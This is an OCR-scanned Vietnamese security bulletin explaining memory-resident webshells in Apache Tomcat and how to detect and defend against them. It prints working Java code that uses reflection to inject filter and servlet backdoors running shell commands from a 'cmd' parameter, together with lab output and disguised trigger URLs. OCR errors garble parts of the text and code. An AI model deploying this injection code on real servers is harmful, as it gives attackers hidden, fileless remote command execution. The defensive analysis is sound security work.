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BAN TIN AN TOAN THONG TIN

Téng quan vé

MEMSHELL TRONG APACHE TOMCAT

Gidi thiéu vé memshell, phuong thuc tiém ma /
va cdc tinh hudéng dp dung thuc té
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1. Gi6i thiéu vé memshell

TAN CONG WEBSHELL TRUYEN THONG TAN CONG MEMSHELL (MEMORY SHELL)
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Memshell (memory shell hay con goi 1a memory webshell) 1a ky thuat tan cong web shell hi¢n dai, trong do6
ma doc dugce tiém truc tiép vao b nhd cia tmg dung web dang chay ma khong can ghi file 1én dia. Khac voi
webshell truyén théng (JSP, PHP, ASPX...), memshell ton tai hoan toan trong runtime, gitip vuot qua hau hét
cac giai phap bao mat dya trén file monitoring, antivirus signature va WAF file-based.

Pic diém ndi bat cia memshell:
»  Khong co file trén dia — kho bi phat hién boi antivirus, EDR file-based, va cac cong cu quét webshell
truyén thong.
«  Ton tai trong sudt vong doi ciia JVM/process Tomcat, chi mét khi restart container hodc application.
« (6 thé dugc kich hoat qua bét ky request HTTP no (thuong gin password/cmd parameter).
« D& két hop véi cac cong cu C2 hién dai nhu Behinder (Vk#8), Godzilla, AntSword.
«  Kho phat hién bang log phan tich théng thudng vi request di qua pipeline binh thudng cua container.
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2. Tong quan kién triic Apache Tomcat duéi géc dd An toan thong tin

Theo tai lidu kién trac chinh thirc cia Apache Tomcat 9!, Tomcat dwoc t6 chirc theo mé hinh phan cap véi cac
thanh phan chinh: Server (toan bg container), Service (nhom Connector va Engine), Connector (giao ti€p
mang), Engine (x1r 1y request), Host (virtual host), Context (web application), va Wrapper (Servlet).

Tuy nhién, tr goc d6 cua ké tan cong, khi ho trién khai memshell trén hé théng muc tiéu, ho can quan tam bbn
thanh phan quan trong nhat 1a Engine, Host, Context, va Wrapper. Day la cic tang container truc ti€ép tham gia

vao pipeline xir 1y request, va 1a noi ké tan cong c6 thé tiém ma doc. Trong d6, Context 1a muc tiéu pho bién
nhat vi n6 dai dién cho mot irng dung web cu thé, noi chira cac Filter, Servlet va Listener.

Mdi container déu c6 mét Pipeline chira nhidu Valve. Khi request dén, Pipeline goi invoke() ctia Valve dau
tién trong chain, va moi Valve s& goi Valve ti€p theo cho dén khi request dugc xur Iy bdi Servlet. Pay la mo
hinh Chain of Responsibility.

Trong Servlet Specification, ba thanh phan chinh la:

e Servlet — xt ly request/response chinh.
e Filter — loc request trude khi dén Servlet va response sau khi Servlet xtr ly.
e Listener — lang nghe su kién lifecycle (request created/destroyed, session, context...).

Thur ty thyc thi khi c6 request: Listener — Filter Chain — Servlet. Day chinh 1a 1y do Filter va Listener tr&
thanh diém tiém pho bién nhat.

2.1. Container hierarchy

Context dai dién cho mot web application, chira filterDefs (dinh nghia Filter), filterMaps (URL mapping),
children (Servlets), servletMappings, filterConfigs.

private final java.util.Map<java.lang.String, org.apache.catalina.core.ApplicationFilterConfig>
private final java.util.Map<java.lang.String, org.apache.tomcat.util.descriptor.web.FilterDef>
private final org.apache.catalina.core.StandardContext$ContextFilterMaps .

private final java.util.Map<java.lang.String, java.lang.String>
private final java.lang.Object Lock;

2.2. Pipeline & Valve - Chain of Responsibility

Mbi Container (Engine, Host, Context, Wrapper) déu c6 mot Pipeline chira nhiéu Valve. Piy 12 mé hinh
Chain of Responsibility xur 1y request tuan tu.

public interface org.apache.catalina.Pipeline extends org.apache.catalina.Contained {
public abstract org.apache.catalina.Valve getBasic();
public abstract void setBasic(org.apache.catalina.Valve);
public abstract void addValve(org.apache.catalina.Valve);
public abstract org.apache.catalina.Valve[] getValves();

public abstract void removeValve(org.apache.catalina.Valve);

public abstract org.apache.catalina.Valve getFirst();

public abstract boolean isAsyncSupported();

public abstract void findNonAsyncValves(java.util.Set<java.lang.String>);

Valve c6 method invoke(Request, Response) - ddy 1a method xir 1y request chinh.

Compiled from "Valve.java"

public interface org.apache.catalina.Valve {
public abstract org.apache.catalina.Valve getNext();
public abstract void setNext(org.apache.catalina.Valve);

public abstract void backgroundProcess();
public abstract void invoke(org.apache.catalina.connector.Request, org.apache.catalina.connector.Response) throws java.io.IOException, javax.servlet.ServletException;
public abstract boolean isAsyncSupported();

! https://tomcat.apache.org/tomcat-9.0-doc/architecture/overview.html

Trang 2



hpt

SECNEWS | Phan tich K§ thuét | Memshell trong Apache Tomcat

ValveBase 14 abstract class, khong implement invoke(), nén moi subclass (vi du EvilValve) déu phai tu
implement

Compiled from "ValveBase.java"
public abstract class org.apache.catalina.valves.ValveBase extends org.apache.catalina.util.lifecycleMBeanBase implements org.apache.catalina.Contained,org.apache.catalina.Valve {
protected static final org.apache.tomcat.util.res.StringManager sm;
protected boolean asyncSupported;
protected org.apache.catalina.Container container;
protected org.apache. juli.logging.Log containerlog
protected org.apache.catalina.Valve next;
public org.apache.catalina.valves.ValveBase();
public org.apache.catalina.valves.ValveBase(boolean);
public org.apache.catalina.Container getContainer();
public void setContainer(org.apache.catalina.Container);
public boolean isAsyncSupported();
public void setAsyncSupported(boolean);
public org.apache.catalina.Valve getNext();
public void setNext(org.apache.catalina.Valve);
public void backgroundProcess();
protected void initInternal() throws org.apache.catalina.lifecycleException
protected void startInternal() throws org.apache.catalina.LifecycleException;
protected void stopInternal() throws org.apache.catalina.LifecycleException;
public java.lang.String teString();
public java.lang.String getObjectNameKeyProperties();
public java.lang.String getDomainInternal();
static {};

Pipeline quan 1y chain cac Valve, ¢ thé thém/x6a Valve qua addValve() va removeValve().

Compiled from “"StandardPipeline.java"
public class org.apache.catalina.core.StandardPipeline extends org.apache.catalina.util.LifecycleBase implements org.apache.catalina.Pipeline {
protected org.apache.catalina.Valve basic;
protected org.apache.catalina.Container container;
protected org.apache.catalina.Valve first;
public org.apache.catalina.core.StandardPipeline();
public org.apache.catalina.core.StandardPipeline(org.apache.catalina.Container);
public boolean isAsyncSupported();
public void findNonAsyncValves(java.util.Set<java.lang.String>);
public org.apache.catalina.Container getContainer();
public void setContainer(org.apache.catalina.Container);
protected void initInternal();
protected void startInternal() throws org.apache.catalina.LifecycleException;
protected void stopInternal() throws org.apache.catalina.lifecycleException;
protected void destroyInternal();
public java.lang.String toString();
public org.apache.catalina.Valve getBasic();
public void setBasic(org.apache.catalina.Valve);
public void addvalve(org.apache.catalina.Valve);
public org.apache.catalina.Valve[] getValves();
public javax.management.ObjectName[] getValveObjectNames();
public void removeValve(org.apache.catalina.Valve);
public org.apache.catalina.Valve getFirst();
static {};

2.3. Thir tu thuce thi Request

Ludng xir 1y request trong Tomcat:

Connector (nhan socket, parse HT'TP)
!

Engine (StandardEngineValve.invoke())
| Pipeline Valves

Host (StandardHostValve.invoke())
| Pipeline Valves

Context (StandardContextValve.invoke())
| Pipeline Valves

Wrapper (StandardWrapperValve.invoke())
| Pipeline Valves

ApplicationFilter Chain.doFilter()
| Filter Chain

Servlet.service()

2.4. Filter Chain - ApplicationFilterChain

ApplicationFilterChain duy tri mot mang cac Filter, goi tudn tu qua internalDoFilter().

public final class org.apache.catalina.core.ApplicationFilterChain implements javax.servlet.FilterChain {
private static final java.lang. ThreadLocal<javax.serviet.ServietRequest> lastServicedRequest;
private static final java.lang. ThreadLocal<javax.servlet.ServietResponse> lastServicedResponse;
public static final int INCREMENT:
private org.apache.catalina.core. ApplicationFilterConfig[] filters;
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private int pos,

private int n;

private boolean servletSupportsAsync;

private static final org.apache.tomcat.util.res.StringManager sm;

private static final java.lang.Class<?>[] classType;

private static final java.lang.Class<?>[] classTypeUsedInService;

org.apache.catalina.core.ApplicationFilterChain(),

public void doFilter(javax.servlet.ServietRequest, javax.servlet.ServietResponse) throws java.io.lOException,
Jjavax.serviet.ServietException;

private void internalDoFilter(javax.serviet.ServietRequest, javax.serviet.ServietResponse) throws java.io.IOException,
javax.servlet.ServietException;

public static javax.serviet.ServietResponse getLastServicedResponse(),

void addFilter(org.apache.catalina.core. ApplicationFilterConfig),

void setServletSupportsAsync(boolean),

public void findNonAsyncFilters(java.util.Set<java.lang.String>);

private java.lang. Void lambda$doFilter$0(javax.servlet.ServietRequest, javax.serviet.ServietResponse) throws
java.lang. Exception;
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2.5. Ba thanh phin c6t 16i ciia Servlet

Theo Servlet, ba thanh phan cét 18i chinh a:

Thanh phén Vai tro Method chinh ‘
Servlet Xt ly request/response chinh service()
Filter Loc reguest tru’ocf klcn dén Servlet va response doFilter()
sau khi Servlet xur 1y
Listener Lang nghe sy kién lifecycle R ESE()

requestDestroyed()

public interface javax.servlet.Servlet {
public abstract void init(javax.serviet.ServletConfig) throws javax.servlet.ServletException;
public abstract javax.servlet.ServietConfig getServletConfig();
public abstract void service(javax.servlet.ServletRequest, javax.servlet.ServletResponse) throws
Jjavax.servlet.ServletException, java.io.lIOException;
public abstract java.lang.String getServletInfo();
public abstract void destroy();

/

La module chinh déng vai tro nhu 16p trung gian giita client va application phia server. Servlet tiép nhan client
request, xu 1y roi sau do gui tra response. Vong doi cua Servlet:

init(): Chay mét lan duy nhat khi servlet dugc nap vao bo nhd.
service(): Nhan va xir Iy timg yéu cau tir ngudi dung, goi cac ham doGet() hodc doPost().
destroy(): Giai phong tai nguyén khi may chu dirng hoat dong hodc gd bo servlet. Vai tro chinh
X ly dir liéu form tur client guri 1én.
Két ndi co so dit liéu dé 14y hodc luu thong tin.
Diéu huéng trang va quan ly phién lam viéc (Session / Cookie).
Dong vai trd tang diéu khién (Controller) trong mé hinh MVC két hop cung JSP. Cac thanh phan hd
tro

e Chay bén trong mot Servlet Container (vi du: Apache Tomcat, Jetty).

e Céiu hinh duong dan théng qua @WebServlet hoic file web.xml
Filter

public interface javax.servlet.Filter {
public default void init(javax.servlet.FilterConfig) throws javax.servlet.ServietException;
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public abstract void doFilter(javax.servlet.ServietRequest, javax.servlet.ServletResponse, javax.servlet. FilterChain) throws
Jjava.io.lOException, javax.servlet.ServletException;

public default void destroy();
/
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Filter trong Java Web (Servlet Filter) 1a mot d6i twong nam trong ving dém gitra client va servlet. N6 ding dé
chén, kiém tra, thay d6i hodc xtr Iy trudc cac HTTP request gtri dén server va HTTP response trd vé client. Céac
churc nang chinh cua Filter

e Xac thue (Authentication): Kiém tra xem ngudi dung di ding nhap hodc c6 quyén truy cap vio trang
web hay chua.

e Mai héa (Encoding): Thiét 1ap dinh dang ma hoa tiéng Viét UTF-8 cho toan bd request va response.

e Ghilog (Logging): Theo ddi, ghi lai lich st truy cap, dia chi IP hodc thoi gian xir ly cua cac request.

e Nén dir liéu (Compression): Giam dung luong dir lidu tra vé cho client. Cac phwong thirc trong Filter
Interface

e init(FilterConfig filterConfig): Khai tao filter khi tng dung web bét dau chay.

o doFilter(ServletRequest, ServletResponse, FilterChain): Thuc hién cong viéc chin va xur ly
request/response. Goi ‘chain.doFilter()' dé chuyén tiép dén tai nguyén tiép theo.

e destroy(): Huy filter khi itng dung diurng hoat dong hodc g& bo.

Listener

public interface javax.servlet.ServietRequestListener extends java.util. EventListener {
public default void requestDestroyed(javax.servlet.ServietRequestEvent);
public default void requestlnitialized(javax.serviet.ServietRequestEvent);

}

Trong Java Web (Servlet/JSP), Listener 1a mot d6i twong dung dé ling nghe cac su kién thay doi trang thai
cta Gmg dung nhu ServletContext, HttpSession hodc ServletRequest. Khi mot sy kién xay ra (vi du: ing dung
khoi dong, session dugc tao hodc bi huy), Listener sé tu dong chay doan code dinh san ma khéng can goi truc
tiép. Céc loai Listener chinh

e ServletContextListener: Theo ddi khi tmg dung web bét dau chay (startup) hodc dimg lai (shutdown).
Dung dé khai tao két ndi co s dit liéu hodc nap dit liéu cAu hinh.
e HittpSessionListener: Theo doi vong doi cua session (khi nguodi dung dédng nhap/tao phién méi hoédc
khi session hét han/ding xuét). Ding dé dém sb lwong ngudi dang online.
e ServletRequestListener: Theo d5i khi mot request tir client giri dén server va khi request d6 két thic.
Céch sur dung Listener
e Tao mot class Java va implements cac interface twong ung nhu ServletContextListener hodc
HttpSessionListener.
e Ghi d¢ (override) cac phuong thirc xur 1y su kién bén trong.
e Dingky listener v4i container bang cach ding annotation @WebListener truc tiép trén class hodc cau
hinh trong file web.xml.
Tuy nhién, trong thyc té tin cong, memshell khong chi giéi han & 3 thanh phan nay. Ké tdn cong con cé thé
nhim vao cac thanh phan ciia riéng Tomcat (Valve), tAng Connector (WebSocket, Upgrade Protocol) hodc
cac thanh phan khac dé tranh bi phat hién.

3. Cac loai memshell pho bién trén Tomcat

3.1. Filter-based memshell

Filter ndm trudc Servlet trong chain xir 1y, c6 thé intercept moi request va dé dang tra response ma khong
can tiép tuc chain.
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Quy trinh xir ly:

Léy ddi tugng ServletContext tir request hién tai.

Qua reflection 1y ApplicationContext — StandardContext.

Tao Filter dgc hai (implement javax.servlet.Filter hoac jakarta.servlet.Filter).
Tao FilterDef va thém vao StandardContext.filterDefs.

Tao FilterMap (URL pattern /*) va thém vao dau danh séach.

Tao ApplicationFilterConfig va dua vao map filterConfigs.

ANl o e

Bén canh do, ServletContext.addFilter() chi cho phép goi khi context chwa initialized. Do d6 phai dung
reflection can thiép truc ti€p vao StandardContext.

ServletContext servietContext = request.getSession().getServletContext(),
Field contextField = servietContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
ApplicationContext appContext = (ApplicationContext) contextField.get(servietContext);
Field stdCtxField = appContext.getClass().getDeclaredField("context");
stdCtxField.setAccessible(true);
StandardContext standardContext = (StandardContext) stdCtxField.get(appContext),

Tu day, ta tién hanh tao doan code filter don gian va thu tai 1én server Tomcat 9.0.120

Filter evilFilter = new Filter() {
public void init(FilterConfig filterConfig) throws ServietException {}
public void doFilter(ServietRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServietException {
HttpServietRequest req = (HttpServietRequest) request;
HtpServietResponse resp = (HttpServietResponse) response;
String cmd = req.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
ry {
String[] shellCmd;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
shellCmd = new String([]{"cmd.exe", "/c", cmd};
Jelse {
shellCmd = new String[]{"/bin/sh", "-c", cmd};
/
Process process = Runtime.getRuntime().exec(shellCmd);
BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
StringBuilder output = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");

process.destroy();
resp.setContentType("text/plain;charset=UTF-8");
resp.getWriter().write(output.toString()),
return;

} catch (Exception e) {
resp.getWriter().write("Error: " + e.getMessage());
return;

}

chain.doFilter(request, response);

}
public void destroy() {}
}’.

Sau khi tai tép thanh cong. Kich hoat memshell, lic nay bat ky request nio chira parameter da dugc dinh nghia
trong shell (vi du ?ecmd=whoami) s€ bi Filter bat va thuc thi 1é€nh.
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~ @ 172.16.0.113:8000/uploads/filter_i- X

C | & Notsecure 172.16.0

@& 172160

Linux tomcat-ubuntu-lab 6.8.8-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2825 x86_64 x86_64 x86_64 GNU/Linux

Khi chiing ta ding cong cu scan filter, chung ta dé dang thay Filter-based memshell d& duoc inject thanh cong
vao Tomcat.

Tomcat Component Scanner

[kill all jsp]

Clas
Path
[dump]
[kill]

Clas

Path :
[dump]
[kill]

lets (1)

Class:
Path :
[dump]
[kill]

Listeners (@)

E

[dumpj
[kill]

Path :
[dump]
[kill]

[

Pa

or
a

Tién hanh dump class Filter dé xem source
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root@tomcat-ubuntu-lab: /# javap -c '/opt/tomcat/work/Catalina/localhost/RO0T/org/apache/jsp/uploads/filter_005finject_jsp$l.class' | grep -A 500 "doFilter"
public void (javax.servlet.ServletRequest, javax.servlet.ServletResponse, javax.servlet.FilterChain) throws java.io.IOException, javax.servlet.ServletException;
Code:
: aload_1
1: checkeast #32 // class javax/servlet/http/HttpServletRequest
U: astore u
6: aload_2
: checkcast #30 // class javax/servlet/http/HttpServietResponse
: astore 5
: aload u
: lde #36 // string emd
: invokeinterface #38, 2 // InterfaceMethod javax/servlet/http/HttpServletRequest.getParameter:(Ljava/lang/String;)Ljava/lang/String;
: astore 6
: aload 6
: ifnull 227
Load 6
nvokevirtual #42 // Method java/lang/String.isEmpty:()Z
227
#U8 // String os.name
nvokestatic #50 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String;
: invokevirtual #55 // Method java/lang/String.toLowerCase: (JLjava/lang/String;
: lde #59 // string win
: invokevirtual #61 // Method java/lang/String.contains: (Ljava/lang/CharSequence;)Z
feq 76
: diconst_3
: anewarray #u3 // class javaflang/String
: dup
: iconst_@
dc #65 // String cnd.exe
: aastore
: dup
: dconst_1
: lde // string /c
: aastore
: dup
: diconst_2
: aload
: aastore
: astore
: goto
: iconst_3

: anewarray // class java/lang/string
: dup
:_diconst ©

Ké dén, ta phan tich bytecode doFilter() va nhan thiy ring

1. Cast request/response sang HTTP

0: aload 1 // Load ServietRequest

1: checkcast #32 // Cast sang HtipServletRequest
4: astore 4 // Luu vao bién local

7: checkcast #34 // Cast sang HtipServietResponse
10: astore 5 // Luu vao bién local

Y nghia: Ep kiéu ServletRequest — HttpServletRequest dé dung cac method HTTP.

2. Poc parameter "cmd"

12: aload 4 // Load HttpServletRequest

14: ldc #36 // Load String "cmd"

16: invokeinterface #38  // Goi getParameter("cmd")

21: astore 6 // Lueu véo bién emd

23: aload 6

25: ifnull 227 // Néu emd == null, nhay dén dong 227
28: aload 6

30: invokevirtual #42 // Goi String.isEmpty()

33: ifne 227 // Néu cmd réng, nhay dén dong 227

Y nghia: Chi thyc thi shell néu cmd parameter ton tai va khong rong.

3. Xac dinh OS

36: ldc #48 // "os.name"

38: invokestatic #50 // System.getProperty("os.name",

41: invokevirtual #55 // toLowerCase()

44: ldc #59 // "win"

46: invokevirtual #61 // contains("win",

49: ifeq 76 // Néu khéng phdi Windows — nhdy dén Linux branch

Y nghia: Xac dinh hé diéu hanh dé chon shell pht hop (Windows ding cmd.exe, Linux dung /bin/sh).
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4. Tao command cho Windows

52: iconst 3

53: anewarray #43  // new String[3]
56: dup

57: iconst 0

58: ldc #65 // "emd.exe"

60: aastore // [0] = "cmd.exe”
61: dup

62: iconst_1

63: ldc #67 7 "re"”

65: aastore N [1] ="/c"

66: dup

67: iconst 2

68: aload 6 // cmd parameter
70: aastore /7 [2] = cmd

71: astore 7

73: goto 97

Y nghia: Tao mang ["cmd.exe", "/c", "whoami"]

5. Tao command cho Linux

76: iconst 3

77: anewarray #43  // new String[3]
80: dup

81: iconst 0

82: ldc #69 // "/bin/sh"

84: aastore // [0] = "/bin/sh"
85: dup

86: iconst 1

87: ldc #71 /7 "-c"

89: aastore 7 [1] ="-c"

90: dup

91: iconst 2

92: aload 6 // cmd parameter
94: aastore /' [2] = cmd

95: astore 7

nn

Y nghia: Tao mang ["/bin/sh", "-¢", "whoami"]

6. Thuec thi 1énh

97: invokestatic #73 // Runtime.getRuntime()
100: aload 7 // Load command array

102: invokevirtual #79 // Runtime.exec([String])
105: astore § // Process p = Runtime.exec(...)

Y nghia: Thyc thi 1énh hé thdng — day 1a hanh vi doc hai chinh.

7. Poc output va ghi vao response

107: new #83 // BufferedReader

111: new #85 // InputStreamReader

115: aload 8

117: invokevirtual #87 // process.getInputStream()
120: invokespecial #93 // InputStreamReader.<init>
123: invokespecial #96 // BufferedReader.<init>
126: astore 9

// Vong lap doc output
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140: aload 10 // StringBuilder

142: aload 11 // Line

144: invokevirtual #102 // StringBuilder.append(line)

147: ldc #106 /"

149: invokevirtual #102 // StringBuilder.append("\n")

153: aload 9

155: invokevirtual #108 // readLine()

158: dup

159: astore 11

161: ifnonnull 140 // while ((line = reader.readLine()) != null)

164: aload 8
166: invokevirtual #111 // process.destroy()

// Ghi response

169: aload 5

171: ldc #114 // "text/plain;charset=UTF-8"
173: invokeinterface #116 // setContentType()
178: aload 5

180: invokeinterface #120 // getWriter()

185: aload 10

187: invokevirtual #124 // toString()

190: invokevirtual #127 // writerwrite(output)
193 return

Y nghia: Doc output tir process va tra vé phia client.

8. Xir li logic khi khong cé tham s6 cmd

227: aload 3 // FilterChain

228: aload 1 // Request

229: aload 2 // Response

230: invokeinterface #141 // chain.doFilter(request, response)
235: return

Y nghia: Néu khong c6 cmd, request tiép tuc binh thudng (tranh bi phat hién).

9. Xir ly Exception

194: astore 7 // catch Exception e
196: aload 5 // response

198: invokeinterface #120 // getWriter()
203: new #99 // StringBuilder
206: dup

207: ldc #132 // "Error: "

209: invokespecial #134

212: aload 7 /e

214: invokevirtual #136 // getMessage()
217: invokevirtual #102 // append()
220: invokevirtual #124 // toString()
223: invokevirtual #127 // writer.write()
226: return

3.2. Servlet-based memshell

Tao mét Servlet doc hai va dang ky dong vao StandardContext.

Quy trinh xir ly:
1. Lay StandardContext.
2. Tao Wrapper (StandardWrapper) bao boc Servlet doc hai.
3. Goi standardContext.addChild(wrapper).
4. Dang ky mapping URL (addServletMapping / addServletMappingDecoded tuy phién ban Tomcat).
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Ung v6i quy trinh trén, ta c6 doan code Servlet don gian cho viéc trién khai memshell

HttpServlet evilServiet = new HttpServiet() {
protected void doGet(HttpServletRequest req, HttpServietResponse resp)
throws ServletException, IOException {
// ONLY trigger when parameter "cmd" exists
String cmd = req.getParameter("cmd");
if (cmd != null && !emd.isEmpty()) {
ry{
String[] shell = System.getProperty("os.name").toLowerCase().contains("win") ?
new String[]{"cmd.exe", "/c", cmd) :
new String[]{"/bin/sh", "-c", cmd};
Process p = Runtime.getRuntime().exec(shell);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
StringBuilder out = new StringBuilder(),
String line;
while ((line = br.readLine()) != null) out.append(line).append("\n");
p.destroy();
resp.setContentType("text/plain,; charset=UTF-8");
resp.getWriter().write(out.toString()),
return; // IMPORTANT: stop here
} catch (Exception e) {
resp.getWriter().write("Error: " + e.getMessage());
return;
/
/
try {
req.getRequestDispatcher(req.getRequestURI()).forward(req, resp);
} catch (Exception e) {
// If forward fails, try to serve static content
resp.sendError(HttpServietResponse.SC_ NOT FOUND),
/
/
}’.

Tién hanh upload file 1én server

Servlet memshell injected successfully Test: /7emd=whoami

& (C | A Notsecure 172.16.0.113:80(

Linux tomcat-ubuntu-lab 6.8.@-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2825 x86_64 xB6_64 x86_64 GNU/Linux

Hodc ta c6 thé thiét 1ap nhiéu luu lugng mang trong giéng luu hrgng mang binh thudng nhu

http://172.16.0.113:8000/css/style.css ?ver=277%68%6f%6 1 %66d%69
http://172.16.0.113:8000/?utm_source=google&utm_medium=email&utm_campaign=whoami&ref=home

@ 172.160.113:8

Tuong tu, ta cling c6 thé kiém tra danh sach céac servlet dang trién khai trén méy chu.
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Tomcat Component Scanner

Context: /

[refresh] [kill all jsp]

— Filters (1)

Servlets (2)

- R
E:

3.3. Listener-based memshell

St dung ServletRequestListener (Iing nghe requestInitialized / requestDestroyed).

U'u diém: Pon gian hon Filter va Servlet. Chi can goi
StandardContext.addApplicationEventListener(maliciousListener).

Nhuwoe diém: chi nhan dugc ServletRequest, phai 1y Response gian tiép qua request.
Quy trinh xur ly

1. Lay StandardContext qua reflection

2. Tao Listener dgc hai implement ServletRequestListener

3. Override requestInitialized() - duoc goi mdi khi co request

4. Lay command tir request parameter

5. Thuye thi 1énh va ghi output (Listener khong co response truc tiép)

6. Inject listener bang standardContext.addApplicationEventListener()

Tuong tu, theo quy trinh ta ciing c6 thé d& dang tao file listener_inject.jsp co ban va upload 1én server

A Notsecure 172.16.0.113:8

Listener MemShell injected successfully Test: http://172.16.0.113:8000/uploads/?emd=whoami Output logged to: /tmp/listener.log
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Tomcat Component Scanner

Context: /

[kill all jsp]

4. Cac loai memshell khac

Valve memshell — Tiém Valve doc hai vao Pipeline ciia Engine / Host / Context / Wrapper
WebSocket memshell — diang ky Endpoint doc hai qua ServerContainer.addEndpoint().

Upgrade protocol memshell — tiém vao httpUpgradeProtocols.

Executor / ThreadPool memshell — thay thé Executor ctia Connector.

Agent-based memshell — sir dung Java Instrumentation / Agent dé redefine class (FilterChain,
Valve 2.

e An nip ning cao — thay thé/hook class c6 sdn nhu WsFilter dé “muon danh” component hop 18.

5. Ky thuét tin cong ning cao bang memshell

5.1. Co ché xir Iy Filter trong ApplicationFilterChain

Nhu dé phén tich & muc 2.4, ApplicationFilterChain sir dung vong lap internalDoFilter dé goi tung Filter. Ké
tan cong loi dung co ché nay dé chén Filter ddc hai vao dau danh sach (addFilterMapBefore), dam bao n6 dugc
thuc thi trudc moi Filter bdo mat cua ing dung.

5.2. T4n cong vao Pipeline va Valve

Khéc voi Filter, Valve hoat dong & tang Container (Engine, Host, Context). Mot Valve doc hai dugc chen vao
StandardContext.getPipeline() s€ nam & vi tri cao hon, vuot qua moi 16p kiém soat cua _ung dung. Diéu nay
dic biét nguy hiém vi n6 co thé bypass toan bd FilterChain, khién cac giai phap bao mat ting Gmg dung tré nén
vO hiéu.

5.3. K¥ thuat Reflection va ClassLoader

Viéc inject thanh céng phu thudc vao kha ning truy cap va can thiép vao cac thanh phan ndi bo cia Tomcat
thong qua Reflection. Attacker c6 thé bypass cac rang budc vé classloader va tao ra cac instance cua Filter,
Servlet, Listener truc tiep trong JVM heap ma khong can file .class vét 1y trén dia.

6. Phwong phap phat hién va phong thu

6.1. So sanh Baseline

Trang 13



hpt

SECNEWS | Phan tich K¥ thuét | Memshell trong Apache Tomcat

Duy tri mot danh séch (baseline) cac Filter, Servlet, Listener, Valve khoi tao cua ung dung dé so sanh véi
runtime. Phat hién sy khac biét 1a dau hiéu ciia memshell.

6.2. Ki¢m tra ClassLoader
Class cua Filter/Servlet hop 1€ thuong dugc load bdi WebappClassLoader. Memshell thuong st dung

JasperLoader (df)i v6i JSP) hoic cac ClassLoader bat thuong khac. Kiém tra nguon goc ClassLoader 1a mot
cach hi¢u qua d¢ phat hién.

6.3. Giam sat Runtime (RASP)

Cac giai phap RASP (Runtime Application Self-Protection) c6 thé giam sat ludng thyc thi, phat hién cac hanh
vi bat thuong nhu Runtime.exec() dugc goi tir cdc component khong xac dinh, tir 6 phat hién memshell.

6.4. Phan tich Heap va Memory Forensics

Ky thuat ndy bao gdm viéc dump JVM heap va phan tich cac instance cua ApplicationFilterConfig,
StandardContext, Pipeline dé tim cac component la. bay 1a phuong phap chinh xac nhit nhung doi hoi k¥
thuét cao va co thé anh huong dén performance cua hé thong.

7. Két luan va khuyén nghi

7.1. Mitke d nguy hiém ciia memshell

Memshell 1a mét trong nhiing ky thuat tan cong tinh vi va nguy hiém nhit nhim vao cac ng dung Java hién
nay. Khac v&i webshell truyén thong, memshell hoat dong hoan toan trong by nhd, khong dé lai dau vét trén
dia, khién cac giai phap bao mat truyén thong gan nhu bat luc.

7.2. Chién lwgc phong thi da 16p

Doanh nghiép can xdy dung chién lugc phong thu da 16p, khong chi dya vao WAF hay Antivirus truyén thong.
Mot hé thong phong thu hiéu qua can ket hop nhiéu 16p bao vé:

Lép 1: Ngin chin tir diu (Prevention)

Giai phap Mo ta

V4 16 hong kip thoi Dic biét 1a cac 16 hong deserialization (Fastjson, Shiro, Log4j,
Spring4Shell...)

Han ché upload file Khéng cho phép upload JSP/JSPX 1&én webroot

Phin quyén file system Webroot chi doc, khong ghi

Str dung Han ché reflection va Runtime.exec()

SecurityManager

Lép 2: Giam sat runtime (Detection)

Giai phap Mo ta

RASP (Runtime Application Self-Protection) | Giam sat luong thuc thi, phat hién hanh vi bat thudng
Scanner dinh ky Quét Filter/Servlet/Listener/Valve mdi ngay

So sanh Baseline So sanh runtime véi cau hinh khai tao

Memory forensics Phan tich heap dump
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Lép 3: Ung phé su c6 (Response)

Giai phap Mo ta

Playbook trng pho Quy trinh rd rang khi phat hién MemShell
Cong cu Kill Memory Shell Detector, KMBA...
Restart server Céch cudi cung khi khong thé g5 bo

7.3. Pé xuit giai phap RASP va giam sat runtime

7.3.1. RASP (Runtime Application Self-Protection)

RASP 1a cong nghé bao mat nhing truc tiép vao tmg dung, giam sat hanh vi va phat hién tan cong trong thoi
gian thuc.

Loi ich ciia RASP d6i véi memshell:

Tinh niang Cach hoat dgng Phat hién memshell
Giam sat Class Loading | Theo doi cac class mai dugc load Phat hién class JSP-generated
Giam sat Reflection Phét hién truy cdp bat thudng vao field | Phat hién inject

private
Giam sat Runtime.exec() | Canh bao khi c6 1énh hé théng Phat hién shell
Giam sat Filter Chain Phat hién Filter m&i duoc thém vao runtime | Phat hién Filter memshell
Giam sat Servlet Phat hién Servlet mapping mai Phat hién Servlet memshell
Mapping

7.3.2. Cong cu giam sat runtime

Ngoai RASP, doanh nghiép can cac cong cu giam sat runtime:

Cong cu Mo td Str dung

Arthas Alibaba diagnostic tool Dump class, decompile, monitor
JVM Profiler Gidm sat JVM runtime Phat hién class bat thuong

JMX Console Giadm sat Tomcat MBeans Kiém tra Filter/Servlet

Custom Scanner Scanner tu x8y dung Kiém tra dinh ky

7.4. Khuyén nghi danh cho cac bén lién quan

7.4.1. P6i véi ddi ngit van hanh (DevOps/SRE)

Hanh djng Mo ta Uu tién
Cép nhat Tomcat Lén version m&i nhét dé c¢6 cac ban v bao mat Cao
Han ché deploy JSP Chi cho phép deploy WAR, khong cho upload JSP Cao
Giam sat thu muc work Phat hién file .class m¢i dugc compile Trung binh
Kiém tra log dinh ky Tim request la chura parameter cmd Trung binh

7.4.2. P6i véi ddi ngii bao mit (security team)

Hanh djng Mo ta Ul tién
Trién khai RASP Tich hgp RASP vao ng dung Cao
Scanner dinh ky Quét Filter/Servlet/Listener/Valve hang ngay Cao
X4ay dung Baseline Luu trang thai khdi tao cua ung dung Cao
Phin tich Memory Dump va phan tich heap khi nghi ngo Trung binh
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7.4.3. Poi véi ddi ngii phat trién (dev team)

Hanh dong Mo ta Ul tién
Security code review Kiém tra 15 hong injection Cao
Tranh reflection Han ché sir dung reflection trong code Trung binh
